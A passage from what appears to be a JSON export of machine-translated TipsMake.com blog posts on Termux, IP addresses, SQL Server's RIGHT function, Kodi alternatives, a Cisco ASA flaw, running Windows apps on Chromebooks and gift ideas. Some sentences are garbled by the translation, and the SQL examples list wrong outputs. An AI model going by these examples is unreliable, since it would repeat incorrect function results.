off.\n  Applications such as free PAW servers or paid Ulti servers allow you to run a web server.\nProgram Although many Android applications provide the ability to write code, they do not provide language.With Termux you can check that code right on your device.It provides standard distributions of programming languages ​​such as:\nBASH shell Python (both v2 and v3 are available) PHP Ruby   Git and Subversion source control systems are also available, their applications are not just for programming.If you want to control your data, source control lets you store files wherever you want.You can also control when you send updates to other devices and use \"tags\" for label versions (like \"mydocument_v12_Aaron's_edit_final_for_real_the_last_one.DOCX\").\nThere are several programming language packs for Android, such as PHP, QPython or Pocket Ruby.But they provide a \"cumbersome\" user interface and may require other applications to have full utilities (such as Apache-based servers must be included with PHP).There are Android-based applications for both git such as Pocket and svn likeOpen Android SVN Pro.However these two applications are not free and you need to have a separate application for each type of source control.Termux offers both in one free package.By controlling the source code, you can also cut down the client for cloud synchronization services like Dropbox.\nTermux is an extremely compact application, which opens up a lot of features for your Android device.The command line is one of the most powerful features of Linux and Termux is built on the kernel of the device to help you perform more efficiently.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnq1tMRmo6Kmpa16pLvMppinnF2htq%2BxjKilZpmemb%2BwtcNmrqKsmGLBpr7Mrq8%3D\n","link":"/post/how-to-use-the-linux-command-line-on-android-with-termux/","section":"post","tags":null,"title":"How to use the Linux command line on Android with Termux"},{"body":"TipsMake.com - IP address (or Internet protocol address) used to identify network computers and devices in a network. When computers communicate with each other on the Internet or an intranet, they send information to each other's IP address.\nA computer is identified on the network through two types of addresses: private IP (private IP) address and public IP (public IP) address. You will need the IP address if you are the owner of the server software and the clients will need your computer's IP address to connect to the server.\nPublic IP address and private IP address IP addresses can be public addresses or private addresses. Public IP addresses are addresses available on the Internet, while private addresses do not. For example, in a typical home network, the router has a public IP address that can be used on the Internet. Computers, smartphones, gaming devices and other devices connected to the router all have their own IP addresses. The router acts as an intermediary to relay traffic to the internal IP addresses that the device is required to. All devices in the home network connect to the Internet only through a single public IP address.\nAssuming we are connecting to a router using network address translation (NAT) technology, there are two IP addresses to consider. The computer's IP address is a private IP address, which can start with 192.168.xx This is the range of IP addresses allocated separately for private networks. We also have a public IP address used to communicate with computers other than the Internet.\n  For example, if the user is hosting a server on the computer, everyone on the Internet will need a public IP address from the user's router to connect to the server. But, users on the same local network only need the local IP address from the destination machine to communicate.\nIf the computer is connected directly to the Internet without any intermediate router, the machine's IP address is a public IP address.\nCheck your computer's private IP Method 1: View IP address with Command Prompt\nAnother way to determine the IP address in Windows is to use the ipconfig command in the command prompt . We will see the IP address in the IPv4 Address row under the connection name.\n  Method 2: View the computer IP from the taskbar\nTo view the IP address of the computer on Windows, open Control Panel and select View network status and tasks, or right-click on the network icon in the taskbar\u0026gt; Open Network and Sharing Center\n  Click on the Internet connection name to see the connection status. If you want to see the IP address in your private network, click the name of the network in the Connections section of the Private network, if you see the IP address of the machine in the Public network, click the name of the network in the corresponding Connections section. Here I choose to view IP in Private network, Public network does the same.\n  Click Details in the status window.\n  We will see an IP address listed in the details window of the connection. Find the IPv4 Address field.\n  Find a public IP address The easiest way to find a public IP address is to 'ask' a website, because the website looks at the computer under a public IP address and can speak to the user. For example, we can search for the phrase ' what is my ip ' or ' what is my ip address ' on Google. Google will display the public IP address.\n  You can also access the router's administration page to find this information. This page displays public IP addresses and other information about Internet connection. Different routers have different admin page layouts and different local IP addresses.\n  Unlike street addresses, IP addresses do not need to be fixed. Internet service providers can periodically assign you a new IP address just like a router can often assign a new IP address device.\nSee more:\nHow to find the IP address of another computer on the LAN How do I know if someone has accessed and used your computer? How to check who is using Wifi temple, your home WiFi theft ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq6ZmsRuwMeeZKKoXZaxpb7ErKpmm5iasKx506GcZpufor22wMSrqmahoA%3D%3D\n","link":"/post/how-to-view-the-ip-address-check-the-computer-s-ip/","section":"post","tags":null,"title":"How to view the IP address, check the computer's IP"},{"body":"When setting up facebook you register with your phone number or with an email account you are using. But now you change your phone number or change your email account so you want to change your email in facebook for better security.\nThe following article shows you how to change email in facebook, you follow the steps below.\nStep 1: First you need to login to your facebook account to change your email.\n  Step 2: On the facebook interface, select the triangle icon in the upper right and select Settings .\n  Step 3: In the General account settings section, select Edit on the Email line.\n  Step 4: Here you select Add email or other mobile numbers .\n  Then enter the new email and click Add .\n  Step 5: After adding, you will receive a notification with email sent to the email address you just entered, you access the email. In the Facebook Email Verification letter , you can click on the link they give or receive a confirmation code to enter the Confirmation on facebook to confirm.\n  Step 6: After confirming, you return to the Email settings section of facebook , select the tick in the Contact Information section as the new email and click Save changes to save the settings.\n  Thus, this article has shown you how to change email in facebook, if you want to change your phone number, you should follow the steps presented in the article. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0edOoZJygkaO0pnnEppiipF2eu26ywJycm6efoHqktMCnnp5llaKuqriMmpqcp6WjwW6ywJycm6efoA%3D%3D\n","link":"/post/instructions-to-change-email-in-facebook/","section":"post","tags":null,"title":"Instructions to change email in Facebook"},{"body":"The article will explore and guide you how to use the RIGHT function in SQL Server to extract some characters from the right side of a given string.\nDescribe The RIGHT function in SQL Server allows you to extract a substring from a large string, starting from the rightmost character.\nSyntax To use the RIGHT function in SQL Server, we use the following syntax:\n RIGHT(chuoi, so_ky_tu)  Parameters :\nchuoi: can be a string, variable or column that you want to extract. so_ky_tu: a positive integer that specifies the number of characters that will be returned from the cycle, starting with the rightmost character . Note :\nIf so_ky_tu exceeds the length of the string, RIGHT returns the original string. See also LEFT function with the same function but on the left side. RIGHT function can be used in later versions of SQL Server: SQL Server 2017, SQL Server 2016, SQL Server 2014, SQL Server 2012, SQL Server 2008 R2, SQL Server 2008, and SQL Server 2005. For example Take a look and explore some examples of RIGHT functions in SQL Server.\nSELECT RIGHT('TipsMake.com', 11); Result: 'trimang.com.' SELECT RIGHT('TipsMake.com', 4); Result: '.com' SELECT RIGHT('Quan Tri Mang', 9); Result: 'Tri Mang ' SELECT RIGHT('Quan Tri Mang', 100); Result: 'Quan Tri Mang '  Previous article: REPLACE function in SQL Server\nNext article: RTRIM function in SQL Server\nncG1vNJzZmismaXArq3KnmWcp51kv6qzx61kn62emMGqu81moKdlo6a5br%2FEq62eqg%3D%3D\n","link":"/post/right-function-in-sql-server/","section":"post","tags":null,"title":"RIGHT function in SQL Server"},{"body":"Preparing a birthday gift for a boyfriend is not easy as the world of men's eyebrow furniture is just as complex as the sisters. To choose a birthday present for your boyfriend suitable, meaningful, right guy. To solve this problem, they can create impressive things with exclusive brand handmade gifts. Make sure the other half will be impressed with the gift that is both warm and meaningful, containing many emotions made by your own hands. Let's create interesting moments and unforgettable memories in his birthday with 20 ideas to give surprise handmade birthday gifts to super cute boyfriend below!\n1. Birthday cake   Birthday is definitely a birthday cake and it will be more meaningful if the cake is a handmade birthday gift that you prepare for your boyfriend. Birthday cake recipe is not too difficult, baking materials are also available for sale at the shops with decorations. Your boyfriend's birthday is coming up, coming up with an idea for a love cake and getting started.\nIn addition to traditional birthday cakes, QTM would like to introduce you to some creative, unique and special special cake styles to be able to make for your boyfriend.\nMacaron - Romantic gift from Italy for loved ones\n  Donut (Donut) - Feel the warmth from the inside\n  Cupcake - Unique birthday cake\n  Tiramisu Cake - Representing deep love with the meaning of \"think of me\"\n  2. Make your own couple hug pillow   If you have a little talent for embroidery, do not miss this impressive gift. The material for making a hug pillow is very simple, you only need a cloth, a needle, and a stuffed pillow and a unique idea that you can make a handmade hug pillow for your birthday. The pillow will be on your side to take care of your boyfriend, so that whenever tired you fall back to find the love, warmth and sweetness of love as if you were beside you.\n3. Cotton knitting wool   The art of hanging animals is a popular trend in the knitting community today, have you tried? From skillful hands, you can knit colorful wool rolls into animal shapes, unique objects as keychains, making extremely impressive teddy bears.\nYou can hook a zodiac animal to represent your lover's age, a small bag, or anything else associated with your hobbies and memories, depending on your hands and ability. your creation.\n4. Lovely bonsai pots   If your boyfriend loves nature, likes ornamental plants, please offer the beautifully decorated, unique plant pots belonging only to you two. When going to the bonsai store, you will be instructed to choose plants, choose pots, choose decorations, even directly plant trees, add soil, attach decorations, . all the meticulous steps to to produce the final product.\n5. Knit a warm wool scarf for your boyfriend   Woolen towels are available for sale a lot, but your perseverance and time spent on hand-knitting a wool scarf for your boyfriend are more meaningful. Your gift will go with him to work, go out with friends, . bring warmth in the cold winter.\nThere are many types of knitting for girls who do not have a lot of flowers to the complicated ones, you can depend on your ability to choose how to knit. One thing to note is that if you intend to knit a wool scarf for your boyfriend, please calculate the knitting time suitable for your ability, to avoid the case when your boyfriend's birthday has come but I have not finished knitting the scarf to give it to you. .\n6. Photo album celebrating love   Couples often have lots of memories and photos together. Why don't you make an album (scrapbook), a book to summarize? Surely this will be a gift that makes your boyfriend feel surprised. Don't forget to add your sweet words and confidences!\n7. Love gift box   In recent years, unique handmade gift boxes (Exploding Box) were born and are very popular for couples to use as gifts for loved ones on important anniversaries. Do you catch this trend?\nIt is not difficult to make a beautiful and fussy box, it is most important that you prepare early to have more time and patience to do each step. In addition to making the box structure, you can prepare more photos of yourself, sweet wishes, messages to send to the person to integrate the gift box more meaningful offline.\n8. Handmade leather wallet   The wallet is not simply a stylish accessory for each of you, but it will be your boyfriend's companion on the path to developing great fortune. Give a leather wallet your own hand made, so that it is always on your side to show support and care for him. You can also engrave your own name, anniversary or special symbols to cleverly \"mark the sovereignty\" of the boy!\nIn addition to leather wallets, you can make glasses bags, phone cases or handmade leather bags for your boyfriend.\n9. A souvenir video   If you have a lot of videos celebrating dates, going out, and you have the ability to make videos, put together a meaningful video and \"sweeter than sugar\" wishes for him. This will surprise your lover because of your ability and feel happy to look back on your beautiful memories on your birthday.\n10. Chocolate / Candy   An indispensable gift in the list of handmade items that women should make for their boyfriends. Recipe for making candy or love chocolate is very easy to make at home, you are not too skilled nor do you worry, there are still many simple designs but not inferior to the \"shimmering\" cute, important especially your will.\n11. A romantic dinner made by yourself   If you are a kitchen enthusiast, interested in recipes, do not overlook a simple, wonderful idea that still brings this surprise. Any guy will be surprised when his girlfriend prepares for a romantic party for just two people, enjoying the dishes that his girlfriend cooks themselves.\nThe suggestion is that the girlfriend should find out what her boyfriends like to eat in order to show him off on this occasion, a handmade birthday gift for a boyfriend is very meaningful, right?\n12. Coc, Ly   Cups and glasses are always necessary items in the house and are often used. Instead of ordering ordinary mugs, we suggest you create a special highlight with your boyfriend's birthday with cups with your name, picture, and anniversary. More creative, if you are confident and capable of you can make a cup yourself, draw on that cup, so he will always remember you with this handmade gift wherever you are!\n13. Wall murals / Photo frames There are many ideas for making handmade gifts for boyfriends on birthdays, including making wall murals or photo frames of love which are also implemented by many women. Here are some ideas for making wall murals, love photo frames.\nPainting cute couple made of stone\n  Painting couples made buttons\n  A corner of love in her boyfriend's room\n  14. House model set   This is a special gift, surprise and contains a lot of meaning for your boyfriend, requiring you to be very patient to make every little detail. Currently there are available kits with enough materials, with samples for you to follow, but if you are more skillful, you can follow your own ideas or the idea of ​​the future warm home of the two. friend. A gift as a blessing, a encouragement to his boyfriend, as well as a promise to build a happy home, make the model come true, extremely meaningful.\n15. Drawing clothes for boyfriend   Not only good practical application but also cost-saving but still full of romance and surprises, it is a shirt with hand-drawn motifs, handmade gifts for a super unique boyfriend. You can buy white shirts of the same color with specialized paint on unfading fabric to make this idea easy.\n16. Double key chain   An idea of ​​choosing a handmade birthday gift for your boyfriend is never outdated - meaningful key chains accompany you both at anytime and anywhere. You can make all kinds of key chains from cloth, wool, metal, couple photo printing hooks, with a lot of ideas and materials for implementation.\n17. Scented candles   In addition to the luminous effect, scented candles also provide decoration, relaxation, make your room more comfortable or as a special highlight in parties. Try making scented candles to give handmade birthday gifts to your boyfriend. The recipe and ingredients you can find on the Internet, with a very specific, clear selling address, make it easy to create scented candle boxes that are both beautiful and good for your loved ones.\n18. Phone covers With just the simple ingredients, a little idea and ingenuity, you have made a handmade gift for your boyfriend - a phone case. No need for fancy ideas, you can draw, dub couple, use unique stickers can still create a unique phone case for the loved one.\n  19. Bookmark If your boyfriend is an avid reader, make him meaningful, special bookmark books that touch his or her interests. Here is an idea to make bookmarks with many materials.\nLeather bookmarks\n  Paper bookmarks\n  Bookmark made of dental sticks\n  20. Calendar   This is also a popular handmade gift idea for boyfriends on many important anniversaries. Giving a delegate calendar a meaning, you will always be with him, 365 days a year, very romantic and meaningful.\nHopefully, with 20 ideas on handmade gifts for boyfriends, the above meaningful idea has helped the girls in the process of choosing birthday presents for their beloved half. Visit TipsMake.com regularly for updates on hot technology news, good tips in life, advice articles to choose gifts for relatives and friends!\nncG1vNJzZmismaXArq3KnmWcp51kwLa%2Bz6ugrJ1dZ31utMCnm6aZlJp6o7XRrZ%2BdmalitKqy06xkn6eiYsC2vMSrZJytpJp6o7vYn6minZ6Z\n","link":"/post/surprise-20-handmade-birthday-gifts-for-super-cute-boyfriend/","section":"post","tags":null,"title":"Surprise 20 handmade birthday gifts for super cute boyfriend"},{"body":"When it comes to photo editing software, the first name that comes to mind is Photoshop. However, Photoshop only supports the best for editing and creating raster images. Raster images, like PNG or JPG, are in many cases fine, but sometimes you'll need an easily scalable format, SVG. The graphic design software below will help you create vector images, the advantage is that you will not have to pay like Illustrator.\n1. BoxySVG BoxySVG may not be a very complicated application with lots of tools and tweaks for you to make, but that's its strength. It is very simple to use and can be downloaded as a PC app or used through your browser.\n  You'll find all the drawing tools you need to create vector images using pens, shapes, curves and text. If you want to dig a little deeper, there are also various options based on typography, shapes, masks and (importantly) your SVG export option in other formats.\nWith the right amount of tools and neatly organized, BoxySVG is great if you want to get to work right away without any distractions.\nDownload\u0026nbsp;BoxySVG here.\n2. Inkscape   Let's take a look at the best cross-platform vector designer - Inkscape. You can use Inkscape to draw vector objects, edit their properties from colors, lines, render, sizes, layers, . Inkscape also helps you to edit some raster images, like PNG. If you need a vector editing software on your PC, download it and get started!\nDownload\u0026nbsp;Inkscape here.\n3. RollApp   Many of the features are similar to Inkscape, but you don't need to download RollApp to your computer. This vector editor works in the browser, it has all the features of Inkscape, plus integrations for Dropbox, Google Drive, One Drive, and several other cloud storage providers. However, you still should not use RollApp to handle files that are too large because an application in a web browser can not work smoothly with an application installed on the computer.\nDownload\u0026nbsp;RollApp here.\n4. SVG-Edit   What if you don't want to have trouble downloading software to your computer? SVG-edit is simply an open source vector editor that works in a web browser. SVG-edit will not limit your creativity because the number of image processing tools is quite rich and easy to use.\nDownload SVG-edit here.\n5. Vectr   Vectr is a free graphics editor that you can use to create vector graphics easily and intuitively. Vectr is available online or installed on a computer, allowing for direct collaboration and synchronization anytime, anywhere and with anyone. With Vectr's easy-to-use interface, anyone can unleash their creativity as an illustrator or graphic designer. Vectr can be used to create any 2D graphic: design business cards, greeting cards, icons, websites, illustrations, logos, resumes, brochures, posters, presentations and more.\nDownload Vectr here.\nAbove are the top 5 best free vector drawing software, but it all depends on your needs. If you need a lot of features, use Inkscape. And if you need some quick and simple editing, browser-based editors like BoxySVG or SVG-edit are suitable.\nTop 5 Inkscape ncG1vNJzZmismaXArq3KnmWcp51kwbC8jG5km52jqXq3scKtpqtlmaKuqLGMnKmemaSevK950qidra%2BRp7I%3D\n","link":"/post/top-5-best-vector-image-creation-software/","section":"post","tags":null,"title":"Top 5 best vector image creation software"},{"body":"Although Kodi is considered the most popular home theater software, it is not without any replacement for Kodi. After all, a single application is hard to meet the needs of everyone. Therefore, TipsMake.com has found the best Kodi alternatives that you can download and use immediately.\nThis article focuses on applications that are equivalent to Kodi's media capabilities, as well as features related to creating and maintaining media libraries. The difference between them is the interface, some additional features and the support platforms. The article is sure that you will find an application that suits your needs.\nNo need to advertise any more, here are the 9 best Kodi alternatives in 2019.\nWhat are the best Kodi alternatives? 1. Plex 2. SPMC 3. Emby 4. JRiver 5. Media Portal 6. Stremio 7. OSMC 8. Universal Media Server 9. Serviio 1. Plex Support : Android, iOS, Windows, Xbox, Amazon Fire, Chromecast, PlayStation, Smart TV, Web, Tivo, Netgear, Kodi Pricing : Free and paid ($ 4.99 - VND 115,000 / month, $ 39.99 - VND 926,000 / year, $ 119.99 - VND 2,778,000 for lifetime)   Plex good almost Kodi. Plex possesses many features that can easily make you 'overwhelmed'. The platform's client-server architecture makes it the right choice to stream media through different devices. This allows the same stream to stream seamlessly across all supported devices.\nAttractive user interface comes alive when you use this home theater application. In fact, when it comes to channels collection, Plex 'mimics' pretty much every Kodi feature. You can view content based on any topic or channel you like. While the free Plex version offers a lot of advantages, the paid tool offers a more advanced experience. There is a smart way to integrate Plex with Kodi and continue to use both options together.\n2. SPMC Support : Android, Amazon FireOS Price : Free Download link : http://spmc.semperpax.com/ Note : SPMC is no longer under active development. However, you can still download it from the official website and use it without any restrictions.\n  If you're an Android user and want something that looks and works just like Kodi, this is the best option for you. SMPC is the abbreviation of Semper Media Center. SMPC was developed by Android manager for Kodi and gives users the same feeling. Any Kodi compatible add-on works well for SMPC. Obviously, this is one of the best Kodi alternatives, especially when it comes to Android smartphones, tablets and smart TVs.\nThe biggest downside of SMPC is that you can't use it with iOS. Adding this will make SMPC the perfect copy of Kodi. Hopefully SMPC will have the version for iPhone and iPad soon. On the plus side, SMPC works just as well with Amazon Firestick devices, which is very helpful for AmazonFirestick or Android users.\n3. Emby Support : Android, Windows, Linux, MacOS, Docker, FreeBSD, Amazon Fire, Android TV, Roku, Samsung Smart TV, Xbox One, PS4 Pricing : Free and premium ($ 4.99 - 115,000 VND / month, $ 54 - 1,250,000 VND / year, $ 119 - 2,755,000 VND for a lifetime)   Emby calls herself an 'Open media solution'. Emby works just like Plex, removing the limitations of proprietary software. As an open source platform, Emby also uses the client - server mechanism. Emby makes media streaming super easy to all connected devices. There is also a live broadcast function in Emby, which allows you to play DVR recordings. Moreover, parental controls are an important component that makes Emby different from other platforms.\nBesides being convenient, Emby is also quite smart. Emby recognizes the hardware capabilities of various devices and adjusts the media components accordingly. The organization of Emby's neat media files is something that many people love. Once connected, Emby will notify users about important events based on their activity on the platform. Premium features allow you to access backups and enjoy the Cinema Mode of the app. At the moment, Emby is as powerful as Plex and can become one of the best Kodi alternatives.\n4. JRiver Support : Windows, MacOS, Smart TV Pricing : There is a free trial version. One-time license for Windows costs $ 49.98 (VND 1,157,000)   JRiver is where you will see all your media playback needs are met. JRiver is especially useful for those who view PC as their main media solution. As observed, some of the best Kodi alternatives without particularly good mouse integration. That is because they are primarily designed for TVs. However, in this regard, JRiver does a pretty good job.\nJRiver has a graphical user interface that looks very similar to Windows. That allows you to make specific changes on individual media files and even experiment a little with the settings. You can select several media files at the same time and assign properties in batches to them. You can also always use the platform to watch your favorite movies in the living room. When it comes to ripping (physically ripping) physical media into the library, JRiver even defeats Kodi.\n5. Media Portal Support : Windows (Vista, 7, 8, 8.1, 10) Price : Free   Not many people know about the Media Portal because it just came out. In addition, this tool is not as feature rich as Plex or Kodi. The highlight of Media Portal is Digital Video Recording (DVR). This is a feature that allows you to record, schedule or watch live broadcast. Although Kodi supports Live TV, there are a few problems.\nBesides DVR function, Media Portal also supports many types of TV tuners. Of course, you are always welcome to use it to play music, videos and Blu-Ray discs. This application is further embellished with the availability of plugins, allowing you to do everything. A serious drawback is that Media Portal is currently only available for Windows. Even the remote control features for iOS and Android no longer exist.\n6. Stremio Support : Windows, MacOS, Linux, Android, iOS Price : Free   Like Kodi, Stremio lets you enjoy TV shows and movies on a variety of platforms, from a single screen. The great thing about using Stremio is that you'll always find the best quality content, no matter what media you watch it on. The platform allows you to create a personal library to store all your content and collections. This service works well on some devices.\nAn additional feature of Stremio, called the Linvo database, always ensures that data is streamlined on each device. There is a special notification setting to let you know if your favorite shows have new episodes. The recommendation engine also provides many suggestions for new shows you may want to watch. Creating an account on Stremio is also quite easy. The service can only be used when you have an account.\n7. OSMC Support : Windows, MacOS, Linux, Apple TV, Raspberry Pi, Vero Price : Free   OSMC stands for Open Source Media Center. The first thing anyone notices about OSMC is a remarkably simple interface. Simplicity in design is evident in all of its operations - streaming media content over the Internet, attached storage devices, and local area networks. Interestingly, even OSMC is built on the Kodi model. You can call it the kodi version specifically for Linux. Put simply, OSMC works well with every Kodi add-on.\nIn addition to common things, OSMC also supports a wide range of WiFi adapters and TV tuners. The web-based user interface and ability to support the desktop environment shows that the platform is slowly gaining acceptance. Perhaps, this vision has helped OSMC to gain a lot of love from Lifehacker, Wall Street Journal and New York Times. Therefore, OSMC has also launched its flagship device, VERO 4K. The device supports HD audio, 4K video and 10-bit content.\n8. Universal Media Server Support : Windows, MacOS, Linux Price : Free   Universal Media Server is a simple media streaming platform, also compliant with DLNA. Originally a PS3 media server, USM allows transferring media files to a variety of devices including Blu-ray players, smartphones, TVs and even game consoles. The user interface is very simple and can also be set up easily. This media player can stream, transcode and play video, audio and images in several formats. Player features include bit rate adjustment, and of course, DLNA support.\nUniversal Media Players is also a 'classic' because it is Java based. In addition, there are quite a few plugins that are built in to the platform. Besides, you can also install a few plugins yourself. If that's not enough, you can even get more information about movies from IMDB and integrate the music database from MediaMonkey into it. Although UMS is not identical to Kodi, this application certainly has a bunch of unique functions in itself. If you want something that is both familiar and still quite different from Kodi, you'll find that this is one of the best Kodi alternatives.\n9. Serviio Support : Windows, MacOS, Linux, QNAP, Synology, Asustor, ClearOS Price : Free The Pro version is available for $ 25 (VND 779,000).   Serviio is a media server that appears to have been modeled after Plex. It allows you to transfer various types of media files, including music, games and videos, to devices like Blu-ray players, TVs, game consoles or even mobile phones. Do everything you can, after Serviio is connected to the home network. Serviio is the first option for cross-device compatibility. It can even stream media to Xbox 360. Serviio also supports individual device configurations to easily play the best quality for each device.\nBecause Serviio is built with Java technology, it tends to run well on most platforms, including Linux, Mac and Windows. You can choose between streaming video and audio with standard or high resolution. Serviio also lets you stream content from online resources like live video and audio streams, RSS feeds or even web pages. This platform also supports quite a lot of plugins.\nDo you like TipsMake.com 's list of the best Kodi alternatives? Let everyone know in the comments below!\nWish you find yourself a suitable choice!\nncG1vNJzZmismaXArq3KnmWcp51khm6uxKyrZqOfmbZurcutnKumkam2t7HS\n","link":"/post/9-best-kodi-alternatives/","section":"post","tags":null,"title":"9 best Kodi alternatives"},{"body":"At that time, Microsoft explained that they made a mistake in marketing. Specifically, Microsoft said that Windows 11 will have a new emoji but flat, not 3D. Microsoft's new operating system has been updated with new 2D Fluent-style emojis in November 2021 via an optional update.\n  Of course, users still cannot be satisfied with Microsoft's explanation. Therefore, the software giant is forced to change.\nAccording to the latest statement from Nando Costa, Head of Design at Microsoft, after all Windows 11 will have 3D emoji.\n\"Agreed and thanks (for the comments around 3D emoji). We are designing them (3D emoji),\" Mr. Costa shared on Twitter.\nIn addition, Mr. Costa published a lengthy article on LinkedIn explaining Microsoft's thinking and methodology on designing new emotions.\nBefore getting excited, you should also be a little skeptical because this is still not an official announcement from Microsoft. The possibility that this is yet another misinformation cannot be ruled out. Also, as Costa said, Microsoft is only designing 3D emoji for Windows 11 and there is no guarantee that it will be successful or will be released.\nHopefully Microsoft will be successful!\nncG1vNJzZmismaXArq3KnmWcp51krqfAxKtkmqScYsSqusOorqxlYWZ6uLXLpWShmaaaenSwjJ6kqKKZ\n","link":"/post/after-all-windows-11-will-have-3d-emoji/","section":"post","tags":null,"title":"After all, Windows 11 will have 3D emoji"},{"body":"A critical flaw that was successfully discovered and patched in mid-2018 was reported to reappear on Cisco Adaptive Security (ASA) and Firepower devices, enabling hackers to deploy attacks. public DoS.\nCisco has now issued a warning to customers and called for compliance with stated security recommendations to minimize risks from the vulnerability.\nThe aforementioned security vulnerability was tracked with the identifier CVE-2018-0296, which could be abused by remote, unauthenticated attackers, causing the device to constantly reload by sending a generated HTTP request. handmade.\nIn addition, an attacker could also exploit a vulnerability to gain access to sensitive information on the system without authentication. This can be achieved through path transmission techniques on the affected device.\n  The flaw was actually patched last year, but it suddenly showed signs of coming back over the past few weeks, with the number of reported cases soaring, so serious that Cisco had to issue them. The notice recommends that ASA and Firepower users check, upgrade and update software to ensure safety.\nRisk check Administrators want to determine if the devices they manage are affected by CVE-2018-0296, run the following command:\n show asp table socket | include SSL | DTLS  The existence of the vulnerability will be displayed according to the state of the socket. To find out the status of the vulnerability of the device, use the following command:\n show processes | include Unicorn  This process will work for devices that are at high risk of being affected by the vulnerability.\nIn the above case, to accurately determine the potential risk, an administrator should check if the software version running on his device is on the list of versions affected by the error, has been specified by Cisco in this notice.\nThe reason you should check before deciding to update the code to a newer version is because the flaw is in the web framework of ASA / Firepower products, so not all devices are affected.\nncG1vNJzZmismaXArq3KnmWcp51ksKq%2FwqhkrJ2Tqr%2BqwNhmnKqtmaW6prrTZqCsZaSWv6ix056bZpmkYrGwv4yaq62Zk6DAbsDHq6aun5hirq95zqWbZq6lobumvsCboKWhpK4%3D\n","link":"/post/cisco-security-equipment-is-targeted-at-dos-attacks-through-an-old-vulnerability/","section":"post","tags":null,"title":"Cisco security equipment is targeted at DoS attacks through an old vulnerability"},{"body":"If you use a Chromebook, you've probably wondered if Windows applications can be run on Chromebooks? The answer is yes but that is not a simple process. So today, TipsMake.com will guide you how to run Windows applications on your Chromebook.\n10 tips and tools for new Chromebook users Instructions for installing Japanese keyboard for Windows How to view and edit a document page from Mac on Windows Instructions for running Windows applications on Chromebooks Chromebooks are simple, fast and powerful devices that allow users to access the Internet easily. Chromebooks are optimized for Internet access and web applications, so this device is nearly impossible to run local applications on the device. Because Chromebooks use a different structure than Windows, running Windows applications will be more complicated. This means that you are not simply installing and running Windows applications. However, there are some alternatives that you should try.\nUse Chrome Remote Desktop 5 best remote desktop applications for Linux to access remote computers One of the simplest ways to run Windows applications on a Chromebook is to use Chrome Remote Desktop. By using this method, you will use remote connections to run applications from your home or work computer instead of running them on a Chromebook. Before doing that, you need to prepare both a computer and a Chromebook. Then, follow these steps:\nOn the computer, you need to download the Chrome Remote Desktop extension, then click the Add app button. The extension will automatically be installed after downloading.   After installing the utility, the Apps tab will appear. Click on Chrome Remote Desktop to start.   Choose your Google account.   Click the Allow button.   Click the Get started button in the My Computers section.   Click Enable remote connections .   Now click the Accept and Install button.   Chrome Remote Desktop Host Installer will be downloaded. Run file settings and application settings. Once you've installed Chrome Remote Desktop Host Installer , return to Chrome Remote Desktop and enter the PIN for your computer. Then, press the OK button .   Remote connection has been activated. Now you just need to switch to Chromebook and make some changes. To access Windows PC from a Chromebook, you need to do the following:\nMake sure you are logged in to your Chromebook with the same Google account used in your PC. In the Apps section you will see Chrome Remote Desktop. Click on it to start. If Chrome Remote Desktop is not found, simply access the Chrome Web Store page and launch the utility from here. Click on the Get started button on My Computers . You should now see your computer displayed in computer lists. Click it and enter your PIN to login. If everything is complete, you will see the Windows 10 screen on your Chromebook. After the remote connection is enabled, you can run any Windows 10 application on your Chromebook easily. It is worth mentioning that this method requires your computer to work continuously to establish a remote connection. You should also know that this method is not suitable for playing games, watching videos because activities on Chromebooks may happen slower on PC. Note that the quality of your connection depends heavily on the Internet connection, so make sure the Internet connection is stable.\nThis method also has some shortcomings, it requires users to make sure both computers and Chromebooks work. However, remote connection is the simplest way to run Windows applications on a Chromebook, so you should try it.\nUse CrossOver application In addition to using Chrome Remote Desktop, you can also use the CrossOver application to run Windows applications on Chromebooks. This is an Android application, so if you are using the latest version of Chromebook, you can run this application. To run the application, you need a device like Acer Chromebook Flip, Acer Chromebook R11 or Google Chromebook Pixel. To run Windows applications using CrossOver, you need to follow these steps:\nVisit Codeweavers website and request access to the Android app - CrossOver . Be sure to enter the same email address you use to access Play Store . If you are approved to preview, you will receive a notification email. Note that you may take a while to get accepted, so please wait patiently. Once approved, simply access the link in the email message and download the application from the Play Store on your Chromebook. Now, just start CrossOver and you're done. CrossOver application based on open source Wine software. It can simulate Windows on Chromebooks. This application has a Windows-like environment such as File Explorer, Control Panel and other Windows features. Because CrossOver is still in beta, some applications may not work properly. However, many users responded: Applications like Steam, Microsoft Office and WinZip work quite well. We hope to see more compatible applications in the future . According to the developer, this application supports DirectX 9 as well as keyboard, mouse and audio support.\nCrossOver is a solid application for the Android platform, which can easily simulate Windows. Apart from some shortcomings as this app is still in beta and you have to take a moment to access, this is a great app. Keep in mind, however, that only Chromebooks that support this Android application can be used.\nThis solution provides the most original Windows experience on a Chromebook, but for use, you need to meet certain requirements. Overall, CrossOver is a good application, we hope it will have more updates in the future.\nStore Windows applications on a remote server Many Chromebooks can use Citrix Receiver and access Windows applications on Citrix server. In addition, you can also use the RDP client to access remote computers stored on Windows servers. This solution may be useful for business or professional users, but it does not seem appropriate for individual users.\nUse ExaGear Another way to run Windows applications on a Chromebook is to use ExaGear. This is a Windows emulator that allows users to easily run Windows applications on Chromebooks. ExaGear is also an Android application, so it needs ARM Chromebook to run. If your Chromebook can't run Android apps, you can't use ExaGear either.\nAccording to the developer, Asus Flip and Acer R13 fully support Android applications, so these devices can run ExaGear without any problems. To use this application, simply download ExaGear from PlayStore and install the application on your Chromebook. After installation is complete, you just need to start ExaGear to be able to use Windows applications easily. However, this is not a free app, so if you want to use it, you have to order it.\nUse Ericom AccessNow RDP client Another way to run Windows applications is to use Ericom AccessNow RDP. This service allows you to access Windows virtual applications from Chromebook easily. To do this, you just need to use HTML 5 browser.\nThis service is very easy to use. After creating your account, simply enter Ericom Access Server's address and enter your login information. Once complete, you can run the Windows application on a Chromebook remotely. This is a sustainable solution for business users.\nActivate Developer Mode and run Wine You must turn on Developer Mode and install Linux on your Chromebook to use this solution. To enable Developer Mode, perform the following steps:\nClick and hold the Esc and Refresh key on your Chromebook and press the Power button. Some older machines may have developer switches, you need to switch to get Developer Mode. When the recovery screen appears, press Ctrl + D. Note that accessing Developer Mode will erase all your local data. This process may take about 15 minutes or longer. After enabling Developer Mode, you need to do the following steps:\nDownload Crouton on Chromebook. Once the download is complete, press Ctrl + Alt + T to open the terminal. Enter the terminal shellin to access the Linux shell. Then enter sudo sh 